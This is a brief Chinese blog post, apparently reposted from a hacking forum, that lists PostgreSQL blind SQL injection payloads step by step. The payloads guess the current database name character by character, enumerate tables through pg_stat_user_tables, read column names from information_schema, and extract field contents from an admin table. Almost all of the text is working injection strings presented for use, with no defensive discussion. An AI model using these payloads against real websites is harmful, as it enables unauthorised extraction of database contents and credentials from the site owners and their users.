PostgreSql盲注相关代码

189 阅读 0 评论 125 点赞

我是靠谱客的博主会撒娇小馒头，这篇文章主要介绍PostgreSql盲注相关代码，现在分享给大家，希望可以做个参考。

http://www.f4ck.org/article-2360-1.html

先猜当前数据库的长度
 and  (select  length(current_database())) between  0 and  30 

其次ascii猜解库名的每个字符

 and  (select  ascii(substr(current_database(),1,1))) between  0 and  32768

其次猜解数据库的表的个数

 and  (select  count(*) from  pg_stat_user_tables) between  20and 20 

猜解库里的表名的长度
 and  (select  length(relname) from  pg_stat_user_tables limit 1 OFFSET 0) between  19 and  19 

猜解表名里面的每个字符

 (select  ascii(substr(relname,1,1)) from  pg_stat_user_tables limit 1 OFFSET 0) between  0 and  32768 

//offset是位移那，注意即可

接下来猜解字段名即可，为：

 and+(select+ascii(substr(column_name,1,1))+from+information_schema.columns+where+table_name= publish_admin +between+0+and+256

现在数据库名、表名、字段名都有了，接下来就是取出字段中的内容了

 and+(select+ascii(substr(rank,1,1))+from+publish_admin+limit+1+OFFSET+0)+between+0+and+236